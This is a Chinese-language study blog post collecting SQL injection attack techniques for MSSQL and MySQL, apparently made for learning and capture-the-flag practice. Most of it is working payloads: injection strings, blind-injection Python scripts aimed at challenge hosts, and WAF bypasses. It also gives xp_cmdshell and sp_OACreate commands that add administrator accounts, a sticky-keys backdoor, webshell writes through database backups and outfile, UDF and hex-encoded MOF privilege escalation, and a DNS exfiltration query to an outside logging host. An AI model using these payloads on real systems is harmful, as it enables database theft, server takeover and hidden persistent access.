SQL注入学习

判断是哪种数据库

如 http://www.xxx.com/news.php?id=10 这个网址,使用and 1=1,and 1=2 判断是否存在注入
还需要判断数据库类型,在网址后面加上单引号,看报错情况,如果显示Microsoft JET Database错误,则是Access数据库,如果显示ODBC类型,则是MSSQL数据库

另一种方法,如果已经判断该地址存在注入,在后面加上 ;–,例如 http://www.xxx.com/news.php?id=10;–,提交网址如果页面返回正常,则是MSSQL数据库,因为MSSQL数据库中, ;和–都是存在的,;用于分离两个语句,而–用于注释, 可是在ACCESS数据库中,;则被当成参数带入查询,所以会报错。
//SQL Server 
select 'a'+'b'='ab'

//MySQL

select 'ab'='a' 'b'

select 'ab'=CONCAT('a','b')

//Oracle

select 'ab'='a''b'

select 'ab'=CONCAT('a','b')

//PostgreSQL

select 'ab'='a''b'

select 'ab'=CONCAT('a','b')

MSSQL数据库

参考https://cloud.tencent.com/developer/article/1668918

基础知识及介绍

数据库简介

MSSQL是指微软的SQL Server数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。属关系型数据库

mssql有三种权限

sa->最高权限,相当于system db_owner->文件管理,数据库操作等等,相当于user-administrator public->数据库操作权限,相当于guest-users

基础知识

单行注释:--
多行注释:/*......*/
有一个系统自带的库->master
MSSQL中每个库都有一个系统自带表–>sysobjects
此系统表中对我们有用的只有3个字段,**NAME**字段和**XTYPE**字段和**ID**字段
name就是表名信息,xtype是代表表的类型,只有两个参数,S代表系统自带表,U代表用户创建的表,id字段的值用来连接syscolumns表
top关键字:由于MSSQL中不存在limit,那么想要输出一条数据怎么办呢,直接top 1,输出两条数据top 2,输出第二条数据top 1+限制条件!

实现mysql中的group_concat函数 使用stuff

SELECT top 1 id, [name] = stuff((SELECT ',' + [name] FROM syscolumns sys WHERE sys.id = syscolumns.id FOR xml path('')) , 1 , 1 , '') FROM syscolumns where id =2073058421;
mssql的删除 更新修改 和mysql差不多
MSSQL中常用参数
@@version,查询当前数据库版本
db_name(),查询当前数据库名称
user,查询当前用户
IS_SRVROLEMEMBER(),查询数据库权限。

判断mssql是什么权限

and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(select IS_MEMBER('db_owner'));-

假设sql语句为

select * from user where id={id}

查看数据库名称

?id=1 and 1=(select db_name())

获取第一个用户数据库的名称

?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4)
对于 master..sysdatabases 这个意思是这样的:在mssql系统默认数据库master 的系统视图
这里bdid>4 是因为mssql是靠dbid来区分数据库名的!前面4个id号是默认mssql数据库自带的

假设第一个数据库名为test,则查询第二个数据库可以用

?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4 and name !='test')
?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>5)

查询所有数据库名

?id=1 and 1=(select name from master..sysdatabases for xml path)
for xml path的意思就是将查询结果集以XML形式展现

获取当前网站数据库所使用的第一个表名

?id=1 and 1=(select top 1 name from sysobjects where xtype='u')

xtype=’u’代表是用户创建的表

查询所有表名

?id=1 and 1=(select name from sysobjects for xml path)

我们知道了表名是 users ,那么就可以利用下面的语句来爆 users 下面的列名

?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='users'))

获取数据

?id=1 and 1=(select top 1 username from users)

想要获取第二个账号 username 的值那么就加一个条件语句 where:

?id=1 and 1=(select top 1 password from users where id=2)

提权

file

在sa权限下

存在xp_cmdshell (1)测试xp_cmdshell是否可以执行 exec master..xp_cmdshell ‘ver’ 获取操作系统版本 (2)添加管理员用户 添加用户 exec master.dbo.xp_cmdshell ‘net user quan 123456 /add’ 添加至管理员组 exec master.dbo.xp_cmdshell ‘net localgroup administrators quan /add’ 使用sp_OACreate执行命令 1)开启sp_OACreate

exec sp_configure 'show advanced options', 1;RECONFIGURE;
exec sp_configure 'Ola Automation Procedures' , 1;RECONFIGURE;

2)使用wscript.shell直接添加系统帐户 查询分离器连接后,xp或2003server系统下使用:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user quan 123456 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators quan /add'

其他操作 sp_OACreate替换粘贴键

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

需要同时具备sp_oacreate 和sp_oamethod 两个功能组件。

DBA权限下

1、通过备份到网站目录getshell 两种备份方式如下 (1)差异备份

backup database 库名 to disk = 'c:\quan.bak';//完整备份一次(保存位置可以改)
create table cmd (a image);
insert into cmd(a) values(<%execute(request("a"))%>);//创建表cmd并插入一句话木马
backup database 库名 to disk='目标位置\hhh.asp' WITH DIFFERENTIAL,FORMAT;//进行差异备份

(2)LOG备份 LOG备份需要先把指定的数据库激活为还原模式,所以需要执行alter database XXX set RECOVERY FUL,而差异备份不需要,所以只有这条语句的就是LOG备份


alter database 数据库名称 set RECOVERY FULL;
create table cmd (a image);
backup log 数据库名称 to disk = 'E:\wwwroot\asp_sqli\hack.asp' with init;
insert into cmd (a) values ('<%%25Execute(request("go"))%%25>');
;backup log 数据库名称 to disk = 'E:\wwwroot\asp_sqli\hack2.asp' --

2、通过备份 文件到启动项提权 (1)先测试xp_cmdshell是否可用

exec master..xp_cmdshell 'ver'

提示权限拒绝,说明是db_owner权限. (2)利用xp_dirtree列目录

exec master..xp_dirtree 'c:\',1,1

(3)查看启动项

exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动',1,1

(4)列数据库

SELECT DB_NAME()

(5)利用url或者sql查询器log备份bat或一句话

alter database [northwind] set RECOVERY FULL--
create table cmd (a image)--
backup log [northwind] to disk = 'c:\cmd1' with init--
insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)--
backup log [northwind] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'--
drop table cmd--

mysql注入学习

参考 https://rainy-autumn.top/index.php/2021/04/12/sql%e6%b3%a8%e5%85%a5%e6%80%bb%e7%bb%93/

类型

报错注入

报错注入的10个函数

1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));

4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;

5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;

6. exp()//mysql5.7貌似不能用
select * from user where id=1 and Exp(~(select * from (select version())a));

7. geometrycollection()//mysql5.7貌似不能用
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b));

8. multipoint()//mysql5.7貌似不能用
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b));

9. polygon()//mysql5.7貌似不能用
select * from user where id=1 and polygon((select * from(select * from(select user())a)b));

10. multipolygon()//mysql5.7貌似不能用
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b));

11. linestring()//mysql5.7貌似不能用
select * from user where id=1 and linestring((select * from(select * from(select user())a)b));

12. multilinestring()//mysql5.7貌似不能用
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));

盲注

布尔盲注

根据sql执行结果不同页面显示不同判断执行的sql是否正确 通过一个字母一个字母来带出数据 可以利用二分法写脚本

import requests
url="http://488af20f-7098-4dce-adb9-cf7e7d2ccfd9.challenge.ctf.show:8080/api/"
flag=''
i=0
while True:
    i+=1
    head=32
    tail=127
    while head<tail:
        mid=(head+tail)>>1
        #查表名 ctfshow_fl0g,ctfshow_user
        #payload="select group_concat(table_name) from information_schema.tables where table_schema=database()"
        #查字段 id,f1ag
        #payload="select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        payload="select group_concat(f1ag) from ctfshow_fl0g"

        data={
            "username":f"1' or if(ascii(substr(({payload}),{i},1))>{mid},1,2)=1#",
            "password":"1"
        }
        rep=requests.post(url,data)

        if "密码错误" in rep.json()['msg']:
            head=mid+1
        else:
            tail=mid
    if head!=32:
        flag+=chr(head)
        print(flag)
    else:
        break

时间盲注

时间盲注是 通过 if() sleep()等函数 如果if中的条件成立 则执行sleep 根据页面响应时间 判断条件是否成立 也可以通过二分法加上requests的timeout结合写脚本

import requests
from time import time
url="http://0c216321-dea8-4208-882e-ac20fc4dc4b5.challenge.ctf.show:8080/api/index.php"
flag=''
i=0
while True:
    i+=1
    head=32
    tail=127
    while head<tail:
        mid=(head+tail)>>1
        #查表ctfshow_flagx,ctfshow_info
        #payload="select group_concat(table_name) from information_schema.tables where table_schema=database()"
        #查字段id,flaga,info
        #payload="select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
        payload="select flaga from ctfshow_flagx"
        data={
            'ip':f'if(ascii(substr(({payload}),{i},1))>{mid},sleep(2),1)',
            'debug':0
        }
        try:
            r=requests.post(url,data,timeout=1)
            tail=mid
        except:
            head=mid+1
    if head!=32:
        flag+=chr(head)
        print(flag)
    else:
        break

联合注入

联合注入就是使用union select 首先是 order by 判断字段数 假设字段数为3 使用 union select 1,2,3判断回显位置 然后 union select 1,2,databases()

查数据库
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

# 过滤information的情况下
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()

查字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23

内联

堆叠注入

堆叠查询(Stack Queries)可以依次执行多个 SQL 查询语句,类似 Linux 依次执行多个命令 cd ..; ls。不同的数据库和API 对堆叠查询的支持不一样,如MySQL 、MSSQL、PostgreSQL 本身是支持堆叠查询的,使用 ; 将多个语句分开,但是可能数据库的API 接口不支持,如 PHP的数据库查询接口就有可能不支持。堆叠查询和联合查询的区别在于:堆叠查询可以执行任何 SQL 语句(只要能成功执行,如DELECT、INSERT等操作),联合查询仅支持 SELECT语句,同时两个查询语句的列数要一致。

handler读取数据

;HANDLER ctfshow OPEN;HANDLER ctfshow READ First
;HANDLER ctfshow OPEN;HANDLER ctfshow READ NEXT

预处理读取

‘;prepare a from concat(‘sele’,’ct * from ctfshow_flagasa‘);execute a;#

宽字节注入原理

产生原理 在数据库中使用了宽字符集而WEB中没有考虑这个问题,在WEb层,由于0XBF27是两个字符,在PHP中比如addlsash和magic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0xbf5c是另外一个字符,因此\转义符号会被前边的bf给消掉,单引号由此逃逸用来闭合 解决办法 统一数据库,WEb应用,操作系统所使用的字符集

SQL里边只有update怎么利用

UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'

修改 password 值为mypass)’ WHERE username=’admin’#

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)'...

绕过waf

空格绕过

引号绕过

1.宽字节 2.如果是在where类似的后边输入库名字 表名字的 可以使用16进制绕过 eg:(select column_name from information_schema.tables where table_name=0x7573657273)

逗号绕过

使用from for绕过 使用join绕过

union select 1,2 #等价于
union select * from (select 1)a join (select 2)b

比较符号绕过

使用greatest()、least():(前者返回最大值,后者返回最小值)

or and xor not绕过

数字绕过

=绕过

llike regexp

绕过union,select,where等

大小写,双关键字,内联注释 /!union/

substr过滤

使用一样作用的函数 left right locate

读写文件

读文件

load_file() 1、必须有权限读取并且文件必须完全可读   2、欲读取文件必须在服务器上

3、必须指定文件完整的路径

4、欲读取文件必须小于 max_allowed_packet

?age=-1 union select 1,2,3,4,load_file(‘H:/wamp64/www/233.php’)
-1 union select 1,2,3,4,load_file(0x633a2f626f6f742e696e69)
-1 union select 1,2,3,4,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

load_file还可以发送dns解析请求

?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxxx.ceye.io\\abc'))),1,1)--+

写文件

前提条件

知道网站物理路径
secure_file_priv 无限制
网站路径有写入权限

函数 into dumpfile() into outfile()

权限获取

Hash 获取与解密

假设存在 SQL 注入 DBA 权限,如果目标 3306 端口也是可以访问通的话,可以尝试读取 MySQL 的 Hash 来解 在MySQL.user表中

select host, user, password from mysql.user;

Webshell 权限

into outfile写shell

知道网站物理路径
高权限数据库用户
load_file() 开启 即 secure_file_priv 无限制
网站路径有写入权限

查看secure_file_priv是否无限制

show global variables like '%secure_file_priv%';
Value   说明
NULL    不允许导入或导出
/tmp    只允许在 /tmp 目录导入导出
空   不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

通过下边语句写webshell

select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';

sqlmap 中可以如下操作:

sqlmap -u "http://x.x.x.x/?id=x" --file-write="/Users/guang/Desktop/shell.php" --file-dest="/var/www/html/test/shell.php"

日志文件写shell

Web 文件夹宽松权限可以写入
Windows 系统下
高权限运行 MySQL 或者 Apache

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell 修改日志文件位置

set global general_log = "ON";
set global general_log_file='/var/www/html/info.php';

UDF提权

参考https://www.cnblogs.com/litlife/p/9030673.html https://www.sqlsec.com/2020/11/mysql.html#toc-heading-10 自定义函数,是数据库功能的一种扩展。用户通􏰁自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便 第一步是加载udf.dll动态链接库

mysql> show variables like '%plugin%';
+---------------+------------------------------+
 Variable_name  Value                        
+---------------+------------------------------+
 plugin_dir     /usr/local/mysql/lib/plugin/ 
+---------------+------------------------------+

如果不存在的话 可以使用webshll找mysql的按爪给你目录 然后手动创建\lib\plugin 文件夹 查找mysql的安装目录

select @@basedir;

然后通过webshell等方式传入到目标机

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
SELECT sys_eval('ipconfig');

MOF 提权

MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。

mof脚本如下

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

通过sql语句写入文件

select 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test.mof";

启动项提权

这种提权也常见于 Windows 环境下,当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行

目标 MySQL 不允许外连,但是可以上传 PHP 脚本 可以使用navicat自导的tunnel隧道脚本上传到目标网站上 然后进行链接


SQL注入学习
http://example.com/2021/08/09/OldBlog/sql注入学习/
作者
Autumn
发布于
2021年8月9日
许可协议